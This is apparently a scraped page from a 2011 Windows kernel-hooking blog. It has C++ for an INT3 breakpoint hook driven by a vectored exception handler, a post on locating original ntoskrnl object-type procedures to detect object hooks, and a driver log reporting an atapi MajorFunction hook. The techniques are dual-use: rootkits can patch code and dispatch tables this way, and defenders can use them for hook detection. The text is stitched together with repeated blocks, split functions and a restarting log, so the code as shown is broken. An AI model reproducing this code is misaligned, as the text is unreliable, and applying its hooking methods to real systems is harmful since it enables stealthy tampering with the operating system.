//////////////////////////////////////////////////////////////////////
#define BREAKPOINTLEN 2
typedef PVOID (WINAPI *ADDVECTOREDEXCEPTIONHANDLER)(ULONG,PVOID);
CHook* CHook::m_Instance;
CHook::CHook()
{
//Empty chain table
m_listHook.empty();
//Install top exception
HINSTANCE hMod = LoadLibrary("kernel32.dll");
ADDVECTOREDEXCEPTIONHANDLER pfn = (ADDVECTOREDEXCEPTIONHANDLER)
GetProcAddress(hMod,"AddVectoredExceptionHandler");
PVOID ret = pfn(1,VectoredHandler);
m_bSingleFlag = FALSE;
m_pCurrentBP = NULL;
}
//Function name: GetInstance
//Funtion paramter: Non
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "HookDll.h"
#include "Hook.h"
#define TEST
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
#ifdef TEST
#define TESTMSG(str) AfxMessageBox(str)
#else
#define TESTMSG(str)
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
#define BREAKPOINTLEN 2
typedef PVOID (WINAPI *ADDVECTOREDEXCEPTIONHANDLER)(ULONG,PVOID);
CHook* CHook::m_Instance;
CHook::CHook()
{
//Empty chain table
m_listHook.empty();
//Install top exception
HINSTANCE hMod = LoadLibrary("kernel32.dll");
ADDVECTOREDEXCEPTIONHANDLER pfn = (ADDVECTOREDEXCEPTIONHANDLER)
GetProcAddress(hMod,"AddVectoredExceptionHandler");
PVOID ret = pfn(1,VectoredHandler);
m_bSingleFlag = FALSE;
m_pCurrentBP = NULL;
}
//Function name: GetInstance
//Funtion paramter: Non
//Function feature: return a class instance
//Return Value: CHook*
CHook* CHook::GetInstance()
{
if (!m_Instance)
{
m_Instance = new CHook;
}
return m_Instance;
}
CHook::~CHook()
{
list<t_HookInfo*>::iterator it;
for (it = m_listHook.begin(); it!=m_listHook.end(); it++)
{
UnSetBP((*it));
delete (*it);
}
m_listHook.empty();
}
//Function name: AddHook
//Funtion paramter: 1.Need hook address 2.Dispose pointer of hook function
//Function feature: Add a HOOKINFO to chain table and install a hook
//Return Value: succeed return TRUE, Otherwise FALSE
//Notice: The function isn't check validity of paramter address, By caller check
BOOL CHook::AddHook(DWORD dwHookAddr, HOOKHANDLEFUN pFn)
{
t_HookInfo *pHookInfo = new t_HookInfo;
if (!pHookInfo)
{
return FALSE;
}
pHookInfo->dwAddr = dwHookAddr;
pHookInfo->pFn = pFn;
m_listHook.push_back(pHookInfo);
return SetBP(pHookInfo);
}
//Function name: RemoveHook
//Funtion paramter: 1. address of REMOVEHOOK
//Function feature: Delete a hook
//Return Value: succeed return TRUE, Otherwise FALSE
//Notice: The function isn't check validity of paramter address, By caller check
BOOL CHook::RemoveHook(DWORD dwHookAddr)
{
list<t_HookInfo*>::iterator it;
for (it = m_listHook.begin(); it!=m_listHook.end(); it++)
{
if ((*it)->dwAddr == dwHookAddr)
{
UnSetBP(*it);
delete (*it);
m_listHook.remove(*it);
return TRUE;
}
}
return FALSE;
}
//Function name: SetBP
//Funtion paramter:1. Information of t_HookInfo hook
//Return Value: CHook*
CHook* CHook::GetInstance()
{
if (!m_Instance)
{
m_Instance = new CHook;
}
return m_Instance;
}
CHook::~CHook()
{
list<t_HookInfo*>::iterator it;
for (it = m_listHook.begin(); it!=m_listHook.end(); it++)
{
UnSetBP((*it));
delete (*it);
}
m_listHook.empty();
}
//Function name: AddHook
//Funtion paramter: 1.Need hook address 2.Dispose pointer of hook function
//Function feature: Add a HOOKINFO to chain table and install a hook
//Return Value: succeed return TRUE, Otherwise FALSE
//Notice: The function isn't check validity of paramter address, By caller check
BOOL CHook::AddHook(DWORD dwHookAddr, HOOKHANDLEFUN pFn)
{
t_HookInfo *pHookInfo = new t_HookInfo;
if (!pHookInfo)
{
return FALSE;
}
pHookInfo->dwAddr = dwHookAddr;
pHookInfo->pFn = pFn;
m_listHook.push_back(pHookInfo);
return SetBP(pHookInfo);
}
//Function name: RemoveHook
//Funtion paramter: 1. address of REMOVEHOOK
//Function feature: Delete a hook
//Return Value: succeed return TRUE, Otherwise FALSE
//Notice: The function isn't check validity of paramter address, By caller check
BOOL CHook::RemoveHook(DWORD dwHookAddr)
{
list<t_HookInfo*>::iterator it;
for (it = m_listHook.begin(); it!=m_listHook.end(); it++)
{
if ((*it)->dwAddr == dwHookAddr)
{
UnSetBP(*it);
delete (*it);
m_listHook.remove(*it);
return TRUE;
}
}
return FALSE;
}
//Function name: SetBP
//Funtion paramter:1. Information of t_HookInfo hook
//Function feature: Write a INT3
//Return Value: succeed return TRUE, Otherwise FALSE
//Notice: The function isn't check validity of paramter address, By caller check
BOOL CHook::SetBP(t_HookInfo *pHookInfo)
{
DWORD dwOldProtect,dwNewProtect = PAGE_EXECUTE_READWRITE;
if (!pHookInfo)
{
return FALSE;
}
VirtualProtect((void*)pHookInfo->dwAddr,BREAKPOINTLEN,dwNewProtect,&dwOldProtect);
pHookInfo->byOldCode = *(BYTE*)(pHookInfo->dwAddr);
*(BYTE*)(pHookInfo->dwAddr) = 0xcc;
VirtualProtect((void*)pHookInfo->dwAddr,BREAKPOINTLEN,dwOldProtect,&dwNewProtect);
return TRUE;
}
//Function name: SetBP
//Funtion paramter:1.Information of t_HookInfo hook
//Function feature: Delete break
//Return Value: succeed return TRUE, Otherwise FALSE
//Notice: The function isn't check validity of paramter address, By caller check
BOOL CHook::UnSetBP(t_HookInfo *pHookInfo)
{
DWORD dwOldProtect,dwNewProtect = PAGE_EXECUTE_READWRITE;
if (!pHookInfo)
{
return FALSE;
}
VirtualProtect((void*)pHookInfo->dwAddr,BREAKPOINTLEN,dwNewProtect,&dwOldProtect);
*(BYTE*)(pHookInfo->dwAddr) = pHookInfo->byOldCode;
VirtualProtect((void*)pHookInfo->dwAddr,BREAKPOINTLEN,dwOldProtect,&dwNewProtect);
return TRUE;
}
//Function name: VectoredHandler
//Funtion paramter: Exception information structure pointer
//Function feature: Dispose exception
//Return Value: Oneself exception return EXCEPTION_CONTINUE_EXECUTION,Otherwise return EXCEPTION_CONTINUE_SEARCH
LONG WINAPI CHook::VectoredHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
CHook *pHook = CHook::GetInstance();
//检测是否INT3断点
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_BREAKPOINT)
{
CString str;
str.Format("%-8x",ExceptionInfo->ExceptionRecord->ExceptionAddress);
// TESTMSG(str);
list<t_HookInfo*>::iterator it;
//Check whether oneself break
for (it = pHook->m_listHook.begin(); it!=pHook->m_listHook.end(); it++)
{
if ((*it)->dwAddr ==(DWORD) ExceptionInfo->ExceptionRecord->ExceptionAddress)
{
//Log current break, Set step flag, Delete break,
pHook->m_pException = ExceptionInfo;
pHook->SetTF();
pHook->UnSetBP(*it);
pHook->m_pCurrentBP = *it;
//Call related function
(*it)->pFn(ExceptionInfo,NULL);
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
//Dispose step break
//Return Value: succeed return TRUE, Otherwise FALSE
//Notice: The function isn't check validity of paramter address, By caller check
BOOL CHook::SetBP(t_HookInfo *pHookInfo)
{
DWORD dwOldProtect,dwNewProtect = PAGE_EXECUTE_READWRITE;
if (!pHookInfo)
{
return FALSE;
}
VirtualProtect((void*)pHookInfo->dwAddr,BREAKPOINTLEN,dwNewProtect,&dwOldProtect);
pHookInfo->byOldCode = *(BYTE*)(pHookInfo->dwAddr);
*(BYTE*)(pHookInfo->dwAddr) = 0xcc;
VirtualProtect((void*)pHookInfo->dwAddr,BREAKPOINTLEN,dwOldProtect,&dwNewProtect);
return TRUE;
}
//Function name: SetBP
//Funtion paramter:1.Information of t_HookInfo hook
//Function feature: Delete break
//Return Value: succeed return TRUE, Otherwise FALSE
//Notice: The function isn't check validity of paramter address, By caller check
BOOL CHook::UnSetBP(t_HookInfo *pHookInfo)
{
DWORD dwOldProtect,dwNewProtect = PAGE_EXECUTE_READWRITE;
if (!pHookInfo)
{
return FALSE;
}
VirtualProtect((void*)pHookInfo->dwAddr,BREAKPOINTLEN,dwNewProtect,&dwOldProtect);
*(BYTE*)(pHookInfo->dwAddr) = pHookInfo->byOldCode;
VirtualProtect((void*)pHookInfo->dwAddr,BREAKPOINTLEN,dwOldProtect,&dwNewProtect);
return TRUE;
}
//Function name: VectoredHandler
//Funtion paramter: Exception information structure pointer
//Function feature: Dispose exception
//Return Value: Oneself exception return EXCEPTION_CONTINUE_EXECUTION,Otherwise return EXCEPTION_CONTINUE_SEARCH
LONG WINAPI CHook::VectoredHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
CHook *pHook = CHook::GetInstance();
//检测是否INT3断点
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_BREAKPOINT)
{
CString str;
str.Format("%-8x",ExceptionInfo->ExceptionRecord->ExceptionAddress);
// TESTMSG(str);
list<t_HookInfo*>::iterator it;
//Check whether oneself break
for (it = pHook->m_listHook.begin(); it!=pHook->m_listHook.end(); it++)
{
if ((*it)->dwAddr ==(DWORD) ExceptionInfo->ExceptionRecord->ExceptionAddress)
{
//Log current break, Set step flag, Delete break,
pHook->m_pException = ExceptionInfo;
pHook->SetTF();
pHook->UnSetBP(*it);
pHook->m_pCurrentBP = *it;
//Call related function
(*it)->pFn(ExceptionInfo,NULL);
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
//Dispose step break
else if ( ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )
{
//Judge wether step break onself
if (pHook->m_bSingleFlag && pHook->m_pCurrentBP)
{
//Restore break, flag
pHook->SetBP(pHook->m_pCurrentBP);
pHook->m_bSingleFlag = FALSE;
pHook->m_pCurrentBP = NULL;
return EXCEPTION_CONTINUE_EXECUTION;
}
else
{
return EXCEPTION_CONTINUE_SEARCH;
}
}
else
{
return EXCEPTION_CONTINUE_SEARCH;
}
}
//Function name: SetTF
//Funtion paramter:Non
//Function feature: Set step break
//Return Value: Non
void CHook::SetTF()
{
if (m_pException)
{
m_pException->ContextRecord->EFlags |= 0x100;
m_bSingleFlag = TRUE;
}
}
{
//Judge wether step break onself
if (pHook->m_bSingleFlag && pHook->m_pCurrentBP)
{
//Restore break, flag
pHook->SetBP(pHook->m_pCurrentBP);
pHook->m_bSingleFlag = FALSE;
pHook->m_pCurrentBP = NULL;
return EXCEPTION_CONTINUE_EXECUTION;
}
else
{
return EXCEPTION_CONTINUE_SEARCH;
}
}
else
{
return EXCEPTION_CONTINUE_SEARCH;
}
}
//Function name: SetTF
//Funtion paramter:Non
//Function feature: Set step break
//Return Value: Non
void CHook::SetTF()
{
if (m_pException)
{
m_pException->ContextRecord->EFlags |= 0x100;
m_bSingleFlag = TRUE;
}
}
Saturday, September 3, 2011
Hook Specials 27 : Find to Check object hook base on cross-reference
Author: sudami
Discuss object hook to check with VXK, While the way is simple base on PDB file analytic , That is unusefulness. Because only write general program to has symbol that is too fat on move and inconveniences, Seach file planed to do it. Happen to dummy wrote a article -- "Find all reference address of some specific address through relocation directives " last year. some way apply to seach object hook.
Train of thought :
1.Create table 1 to save current Object Function Address of system. Open "\\ObjectTypes" to get RootDirectory, Traverse HashBuckets to get different addr by different object, Save on table 1.
2.Create table 2 to save original Object Function Address of system. Ntosxx of system kernel load to nonpagepool, Search on the range:
①To already export type (eg.IoDeviceObjectType、PsProcessType), Traverse ntosXX'EAT, Get RVA -- uAddr, Then call LookupImageXRef((ULONG)NtosCopy, uAddr, LookupXRefCallback); Search address on LookupXRefCallBack function, if we want to find function module, Feature matched to judge, for example:
BOOLEAN
NTAPI
LookupXRefCallback(
PULONG RefAddr
)
{
ULONG tmp, address;
PBYTE lpAddr = (PBYTE)RefAddr;
ULONG x, i;
int time = 0;
// If return True, Continue search , 否则Otherwise stop
// DbgPrint("%08X --> %08X\n", RefAddr, RefAddr[0]);
__try
{
//
// Because large LoadPeFile called , The same system load to memory.
// There already align. So (ULONG)RefAddr - (ULONG)NtosCopy;
// It is RVA,Don't consider ImageBase. Good job; RefAddr is some function address load file to memory oneself,
BOOLEAN
NTAPI
LookupXRefCallback(
PULONG RefAddr
)
{
ULONG tmp, address;
PBYTE lpAddr = (PBYTE)RefAddr;
ULONG x, i;
int time = 0;
// If return True, Continue search , 否则Otherwise stop
// DbgPrint("%08X --> %08X\n", RefAddr, RefAddr[0]);
__try
{
//
// Because large LoadPeFile called , The same system load to memory.
// There already align. So (ULONG)RefAddr - (ULONG)NtosCopy;
// It is RVA,Don't consider ImageBase. Good job; RefAddr is some function address load file to memory oneself,
// Such as I want to get A initio original n number bytes
// Immediate take out from RefAddr
// sudami 08/09/11
// Immediate take out from RefAddr
// sudami 08/09/11
//
tmp = (ULONG)RefAddr - (ULONG)NtosCopy; //RVA
// DbgPrint("0x%08lx\n", (ULONG)ulKernelBase + tmp );
//
// To each RefAddr , From address + 4 of begining disassemble , find to match code of xx function interior called.
// There has original function address of IopXX,PspXX,CmpXX....
// sudami 08/09/11 凌晨
//
//
// coding
//
lpAddr+=4;
switch ( g_nMethod )
{
case 1: // IopCreateObjectTypes function
/*++ <IoDeviceObjectType>
1. C7 45 D4 B8 00 00 00 mov [ebp+var_2C], 0B8h
2. C7 45 E8 4D 57 4A 00 mov [ebp+var_18], offset IopParseDevice
C6 45 AF 01 mov byte ptr [ebp+var_54+3], 1
3. C7 45 E4 9A 71 4C 00 mov [ebp+var_1C], offset IopDeleteDevice
4. C7 45 EC 8A 90 4D 00 mov [ebp+var_14], offset IopGetSetSecurityObject
89 5D F0 mov [ebp+var_10], ebx
E8 1F 40 F2 FF call ObCreateObjectType
--*/
time = 0;
for(i=0;i<70;i++)
{
if ( !MmIsAddressValid( &lpAddr[i]) ){
continue ;
}
if(lpAddr[i]==0xC7 && lpAddr[i+1]==0x45)
{
time+=1;
if (time==1)
{
x = *((DWORD *)((ULONG)RefAddr+i+3+4));
if(x!=0xB8)
return FALSE;
}
if(time==2)
{
x = *((DWORD *)((ULONG)RefAddr+i+3+4));
DbgPrint("IopParseDevice - Orig: 0x%08lx\n", \
(ULONG)x + (ULONG)ulKernelBase - (ULONG)pNtH->OptionalHeader.ImageBase);
continue ;
}
if(time==3)
{
x = *((DWORD *)((ULONG)RefAddr+i+3+4));
DbgPrint("IopDeleteDevice - Orig: 0x%08lx\n", \
(ULONG)x + (ULONG)ulKernelBase - (ULONG)pNtH->OptionalHeader.ImageBase);
continue ;
}
if(time==4)
{
x = *((DWORD *)((ULONG)RefAddr+i+3+4));
DbgPrint("IopGetSetSecurityObject - Orig: 0x%08lx\n", \
(ULONG)x + (ULONG)ulKernelBase - (ULONG)pNtH->OptionalHeader.ImageBase);
break ;
}
}
}
...
Like this, Realize to finde address of a part of Object function, Quick and stable seach than force seach.
tmp = (ULONG)RefAddr - (ULONG)NtosCopy; //RVA
// DbgPrint("0x%08lx\n", (ULONG)ulKernelBase + tmp );
//
// To each RefAddr , From address + 4 of begining disassemble , find to match code of xx function interior called.
// There has original function address of IopXX,PspXX,CmpXX....
// sudami 08/09/11 凌晨
//
//
// coding
//
lpAddr+=4;
switch ( g_nMethod )
{
case 1: // IopCreateObjectTypes function
/*++ <IoDeviceObjectType>
1. C7 45 D4 B8 00 00 00 mov [ebp+var_2C], 0B8h
2. C7 45 E8 4D 57 4A 00 mov [ebp+var_18], offset IopParseDevice
C6 45 AF 01 mov byte ptr [ebp+var_54+3], 1
3. C7 45 E4 9A 71 4C 00 mov [ebp+var_1C], offset IopDeleteDevice
4. C7 45 EC 8A 90 4D 00 mov [ebp+var_14], offset IopGetSetSecurityObject
89 5D F0 mov [ebp+var_10], ebx
E8 1F 40 F2 FF call ObCreateObjectType
--*/
time = 0;
for(i=0;i<70;i++)
{
if ( !MmIsAddressValid( &lpAddr[i]) ){
continue ;
}
if(lpAddr[i]==0xC7 && lpAddr[i+1]==0x45)
{
time+=1;
if (time==1)
{
x = *((DWORD *)((ULONG)RefAddr+i+3+4));
if(x!=0xB8)
return FALSE;
}
if(time==2)
{
x = *((DWORD *)((ULONG)RefAddr+i+3+4));
DbgPrint("IopParseDevice - Orig: 0x%08lx\n", \
(ULONG)x + (ULONG)ulKernelBase - (ULONG)pNtH->OptionalHeader.ImageBase);
continue ;
}
if(time==3)
{
x = *((DWORD *)((ULONG)RefAddr+i+3+4));
DbgPrint("IopDeleteDevice - Orig: 0x%08lx\n", \
(ULONG)x + (ULONG)ulKernelBase - (ULONG)pNtH->OptionalHeader.ImageBase);
continue ;
}
if(time==4)
{
x = *((DWORD *)((ULONG)RefAddr+i+3+4));
DbgPrint("IopGetSetSecurityObject - Orig: 0x%08lx\n", \
(ULONG)x + (ULONG)ulKernelBase - (ULONG)pNtH->OptionalHeader.ImageBase);
break ;
}
}
}
...
Like this, Realize to finde address of a part of Object function, Quick and stable seach than force seach.
② To type of non-export (eg.CmpKeyObjectType、ObpTypeObjectType), The way is verbose , I belive:
; Find pointer of there global variable of non-export, To already export type, such as IoDeviceObjectType, Get address on EAT of ntoskrnl.exe, Exactly point
; address of IoDeviceObjectType pointer, rathen than address of IoDeviceObjectType . So, It is no use MJ method to get real address of CmpKeyObjectType, Must get it that point to address of
; CmpKeyObjectType pointer, So do these to use method of dummy. See below:
;
; lkd> dd IoDeviceObjectType
; 80558ee4 817a9ca0 817a9900 817a9e70 817f0428
; | |
; | |-- IoDeviceObjectType own address本身的地址
; |-- Reference address, Point address of IoDeviceObjectType pointer
;
; 68 64 8D 48 00 push offset IoDeviceObjectType ; -->在callback函数中要找的引用地址是这样的
; ........... That is 80558ee4, rather than 817a9ca0
; C7 45 E8 4D 57 4A 00 mov [ebp+ParseProcedure], offset IopParseDevice
; 89 5D F0 mov [ebp+QueryNameProcedure], ebx
; E8 1F 40 F2 FF call ObCreateObjectType
; -- sudami 08/09/12
;
; Only The question resolved, Can need not Violence search. Traverse to finish all type, Find address of these point type pointer , Then method of dummy to find quote,
; Can find real address of obj again... But I can't find solution now.
③ Can't find solution. As a result I use violence search, Main code as follow :
// Through a series of read PE to get rva. Calculate some offset and space of memory about PE.
// Allocate non-page memory
// Content of file is read on here
// Get size of file, Apple a memory block to save it
//DbgPrint("Get size of file, Apple a memory block to save it\n");
ZwQueryInformationFile (ntFileHandle, &ioStatus, &fsi,
sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation);
FileContent = ExAllocatePool (NonPagedPool, fsi.EndOfFile.LowPart);
if (FileContent == NULL)
{
ntStatus = STATUS_UNSUCCESSFUL;
ZwClose(ntFileHandle);
DbgPrint("ExAllocatePool Error\n");
goto End;
}
byteOffset.LowPart = 0;
byteOffset.HighPart = 0;
ntStatus = ZwReadFile(ntFileHandle,
NULL,
NULL,
NULL,
&ioStatus,
FileContent,
fsi.EndOfFile.LowPart,
&byteOffset,
NULL);
if (!NT_SUCCESS(ntStatus))
{
ZwClose(ntFileHandle);
ExFreePool(FileContent);
DbgPrint("ZwReadFile 将要读的内容,读到一片非分页内存失败 Error\n");
goto End;
}
if (fsi.EndOfFile.LowPart <= 0)
{
ntStatus = STATUS_NOT_FOUND;
ZwClose(ntFileHandle);
ExFreePool(FileContent);
DbgPrint("NeedSize <= 0 Error\n");
goto End;
}
GetHeaders (FileContent, &pfh, &poh, &psh);
//DbgPrint("psh: %08lx\n", (PVOID)psh);
//DbgPrint("start search....\n");
// g_CmpCloseKeyObject_addr
for (i = 0; i < fsi.EndOfFile.LowPart; i++)
{
if ( (FileContent[i] == 0x8B) && (FileContent[i+1] == 0xFF) && (FileContent[i+2] == 0x55) && (FileContent[i+3] == 0x8B) &&
(FileContent[i+4] == 0xEC) && (FileContent[i+5] == 0x83) && (FileContent[i+6] == 0x7D) && (FileContent[i+7] == 0x18) &&
(FileContent[i+8] == 0x01) && (FileContent[i+9] == 0x77) && (FileContent[i+10] == 0x24) && (FileContent[i+11] == 0x56)
)
{
//DbgPrint("文件偏移i: %08lx\n", (PVOID)i);
sudami_1 = Offset2RVA( i, psh, pfh->NumberOfSections );
if (sudami_1 == 0) {
DbgPrint("sudami_1 == 0 Error\n");
goto NotFound;
}
if (sudami_1 > SizeOfImage) {
DbgPrint("sudami_1 > SizeOfImage Error\n");
goto NotFound;
}
sudami_1 += ModuleBase;
if (!MmIsAddressValid((PVOID)sudami_1 )) {
DbgPrint("!MmIsAddressValid((PVOID)sudami_1 ) Error\n");
goto NotFound;
}
g_CmpCloseKeyObject_addr = (DWORD)sudami_1;
DbgPrint( "CmpCloseKeyObject - Orig:\t0x%08x\n", (ULONG)g_CmpCloseKeyObject_addr );
break;
}
}
After all, Check object hook, I can't find simple method.
I belive the thing available, So show it, You may use it...
;
; lkd> dd IoDeviceObjectType
; 80558ee4 817a9ca0 817a9900 817a9e70 817f0428
; | |
; | |-- IoDeviceObjectType own address本身的地址
; |-- Reference address, Point address of IoDeviceObjectType pointer
;
; 68 64 8D 48 00 push offset IoDeviceObjectType ; -->在callback函数中要找的引用地址是这样的
; ........... That is 80558ee4, rather than 817a9ca0
; C7 45 E8 4D 57 4A 00 mov [ebp+ParseProcedure], offset IopParseDevice
; 89 5D F0 mov [ebp+QueryNameProcedure], ebx
; E8 1F 40 F2 FF call ObCreateObjectType
; -- sudami 08/09/12
;
; Only The question resolved, Can need not Violence search. Traverse to finish all type, Find address of these point type pointer , Then method of dummy to find quote,
; Can find real address of obj again... But I can't find solution now.
③ Can't find solution. As a result I use violence search, Main code as follow :
// Through a series of read PE to get rva. Calculate some offset and space of memory about PE.
// Allocate non-page memory
// Content of file is read on here
// Get size of file, Apple a memory block to save it
//DbgPrint("Get size of file, Apple a memory block to save it\n");
ZwQueryInformationFile (ntFileHandle, &ioStatus, &fsi,
sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation);
FileContent = ExAllocatePool (NonPagedPool, fsi.EndOfFile.LowPart);
if (FileContent == NULL)
{
ntStatus = STATUS_UNSUCCESSFUL;
ZwClose(ntFileHandle);
DbgPrint("ExAllocatePool Error\n");
goto End;
}
byteOffset.LowPart = 0;
byteOffset.HighPart = 0;
ntStatus = ZwReadFile(ntFileHandle,
NULL,
NULL,
NULL,
&ioStatus,
FileContent,
fsi.EndOfFile.LowPart,
&byteOffset,
NULL);
if (!NT_SUCCESS(ntStatus))
{
ZwClose(ntFileHandle);
ExFreePool(FileContent);
DbgPrint("ZwReadFile 将要读的内容,读到一片非分页内存失败 Error\n");
goto End;
}
if (fsi.EndOfFile.LowPart <= 0)
{
ntStatus = STATUS_NOT_FOUND;
ZwClose(ntFileHandle);
ExFreePool(FileContent);
DbgPrint("NeedSize <= 0 Error\n");
goto End;
}
GetHeaders (FileContent, &pfh, &poh, &psh);
//DbgPrint("psh: %08lx\n", (PVOID)psh);
//DbgPrint("start search....\n");
// g_CmpCloseKeyObject_addr
for (i = 0; i < fsi.EndOfFile.LowPart; i++)
{
if ( (FileContent[i] == 0x8B) && (FileContent[i+1] == 0xFF) && (FileContent[i+2] == 0x55) && (FileContent[i+3] == 0x8B) &&
(FileContent[i+4] == 0xEC) && (FileContent[i+5] == 0x83) && (FileContent[i+6] == 0x7D) && (FileContent[i+7] == 0x18) &&
(FileContent[i+8] == 0x01) && (FileContent[i+9] == 0x77) && (FileContent[i+10] == 0x24) && (FileContent[i+11] == 0x56)
)
{
//DbgPrint("文件偏移i: %08lx\n", (PVOID)i);
sudami_1 = Offset2RVA( i, psh, pfh->NumberOfSections );
if (sudami_1 == 0) {
DbgPrint("sudami_1 == 0 Error\n");
goto NotFound;
}
if (sudami_1 > SizeOfImage) {
DbgPrint("sudami_1 > SizeOfImage Error\n");
goto NotFound;
}
sudami_1 += ModuleBase;
if (!MmIsAddressValid((PVOID)sudami_1 )) {
DbgPrint("!MmIsAddressValid((PVOID)sudami_1 ) Error\n");
goto NotFound;
}
g_CmpCloseKeyObject_addr = (DWORD)sudami_1;
DbgPrint( "CmpCloseKeyObject - Orig:\t0x%08x\n", (ULONG)g_CmpCloseKeyObject_addr );
break;
}
}
After all, Check object hook, I can't find simple method.
I belive the thing available, So show it, You may use it...
Friday, September 2, 2011
Hook Specials 26 : Wrote a tool that is used to list MajorFunction
Author:zhuwg
Learn object hook recently,Wrote a tool that is used to list MajorFunction, It can list drvice and driver.
00000000 0.00000000 [majorfunc] DriverEntry: \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\majorfunc
00000001 0.00006956 [majorfunc] Device Name \Device\devmajorfunc
00000002 0.00013661 [majorfunc] SymbolicLink:\DosDevices\majorfunc
00000003 0.00020198 ObReferenceObjectByName ok!
00000004 0.00023411 \Driver\Atapi->MajorFunction[0]=F9998572
00000005 0.00025115 \Driver\Atapi->MajorFunction[1]=805041BE
00000006 0.00025869 \Driver\Atapi->MajorFunction[2]=F9998572
00000007 0.00026512 \Driver\Atapi->MajorFunction[3]=805041BE
00000008 0.00027154 \Driver\Atapi->MajorFunction[4]=805041BE
00000009 0.00027797 \Driver\Atapi->MajorFunction[5]=805041BE
00000010 0.00028411 \Driver\Atapi->MajorFunction[6]=805041BE
00000011 0.00029026 \Driver\Atapi->MajorFunction[7]=805041BE
00000012 0.00029669 \Driver\Atapi->MajorFunction[8]=805041BE
00000013 0.00030283 \Driver\Atapi->MajorFunction[9]=805041BE
00000014 0.00030926 \Driver\Atapi->MajorFunction[10]=805041BE
00000015 0.00031540 \Driver\Atapi->MajorFunction[11]=805041BE
00000016 0.00032183 \Driver\Atapi->MajorFunction[12]=805041BE
00000017 0.00032797 \Driver\Atapi->MajorFunction[13]=805041BE
00000018 0.00033440 \Driver\Atapi->MajorFunction[14]=F9998592
00000019 0.00034055 \Driver\Atapi->MajorFunction[15]=F99947B4
00000020 0.00034697 \Driver\Atapi->MajorFunction[16]=805041BE
00000021 0.00035312 \Driver\Atapi->MajorFunction[17]=805041BE
00000022 0.00035954 \Driver\Atapi->MajorFunction[18]=805041BE
00000023 0.00036569 \Driver\Atapi->MajorFunction[19]=805041BE
00000024 0.00037211 \Driver\Atapi->MajorFunction[20]=805041BE
00000025 0.00037826 \Driver\Atapi->MajorFunction[21]=805041BE
00000026 0.00038469 \Driver\Atapi->MajorFunction[22]=F99985BC
00000027 0.00039083 \Driver\Atapi->MajorFunction[23]=F999F164
00000028 0.00039726 \Driver\Atapi->MajorFunction[24]=805041BE
00000029 0.00040340 \Driver\Atapi->MajorFunction[25]=805041BE
00000030 0.00040983 \Driver\Atapi->MajorFunction[26]=805041BE
00000031 0.00042687 [atapi] HOOKed Success
00000032 0.00053359 IoGetDeviceObjectPointer ok
00000033 0.00056292 \Device\Afd->DriverObject->MajorFunction[0]=F8391D40
00000034 0.00058024 \Device\Afd->DriverObject->MajorFunction[1]=F8391D40
00000035 0.00058778 \Device\Afd->DriverObject->MajorFunction[2]=F8391D40
00000036 0.00059477 \Device\Afd->DriverObject->MajorFunction[3]=F8391D40
00000037 0.00060147 \Device\Afd->DriverObject->MajorFunction[4]=F8391D40
00000038 0.00060846 \Device\Afd->DriverObject->MajorFunction[5]=F8391D40
00000039 0.00061516 \Device\Afd->DriverObject->MajorFunction[6]=F8391D40
00000040 0.00062187 \Device\Afd->DriverObject->MajorFunction[7]=F8391D40
00000041 0.00062857 \Device\Afd->DriverObject->MajorFunction[8]=F8391D40
00000042 0.00063556 \Device\Afd->DriverObject->MajorFunction[9]=F8391D40
00000043 0.00064226 \Device\Afd->DriverObject->MajorFunction[10]=F8391D40
00000044 0.00064924 \Device\Afd->DriverObject->MajorFunction[11]=F8391D40
00000045 0.00065595 \Device\Afd->DriverObject->MajorFunction[12]=F8391D40
00000046 0.00066265 \Device\Afd->DriverObject->MajorFunction[13]=F8391D40
00000047 0.00066936 \Device\Afd->DriverObject->MajorFunction[14]=F8391280
00000048 0.00067634 \Device\Afd->DriverObject->MajorFunction[15]=F8391D40
00000049 0.00068305 \Device\Afd->DriverObject->MajorFunction[16]=F8391D40
00000050 0.00069003 \Device\Afd->DriverObject->MajorFunction[17]=F8391D40
00000051 0.00069674 \Device\Afd->DriverObject->MajorFunction[18]=F8391D40
00000052 0.00070344 \Device\Afd->DriverObject->MajorFunction[19]=F8391D40
00000053 0.00071015 \Device\Afd->DriverObject->MajorFunction[20]=F8391D40
00000054 0.00071713 \Device\Afd->DriverObject->MajorFunction[21]=F8391D40
00000055 0.00072384 \Device\Afd->DriverObject->MajorFunction[22]=F8391D40
00000056 0.00073082 \Device\Afd->DriverObject->MajorFunction[23]=F8391D40
00000057 0.00073752 \Device\Afd->DriverObject->MajorFunction[24]=F8391D40
00000058 0.00075792 \Device\Afd->DriverObject->MajorFunction[25]=F8391D40
00000059 0.00076602 \Device\Afd->DriverObject->MajorFunction[26]=F8391D40
00000001 0.00006956 [majorfunc] Device Name \Device\devmajorfunc
00000002 0.00013661 [majorfunc] SymbolicLink:\DosDevices\majorfunc
00000003 0.00020198 ObReferenceObjectByName ok!
00000004 0.00023411 \Driver\Atapi->MajorFunction[0]=F9998572
00000005 0.00025115 \Driver\Atapi->MajorFunction[1]=805041BE
00000006 0.00025869 \Driver\Atapi->MajorFunction[2]=F9998572
00000007 0.00026512 \Driver\Atapi->MajorFunction[3]=805041BE
00000008 0.00027154 \Driver\Atapi->MajorFunction[4]=805041BE
00000009 0.00027797 \Driver\Atapi->MajorFunction[5]=805041BE
00000010 0.00028411 \Driver\Atapi->MajorFunction[6]=805041BE
00000011 0.00029026 \Driver\Atapi->MajorFunction[7]=805041BE
00000012 0.00029669 \Driver\Atapi->MajorFunction[8]=805041BE
00000013 0.00030283 \Driver\Atapi->MajorFunction[9]=805041BE
00000014 0.00030926 \Driver\Atapi->MajorFunction[10]=805041BE
00000015 0.00031540 \Driver\Atapi->MajorFunction[11]=805041BE
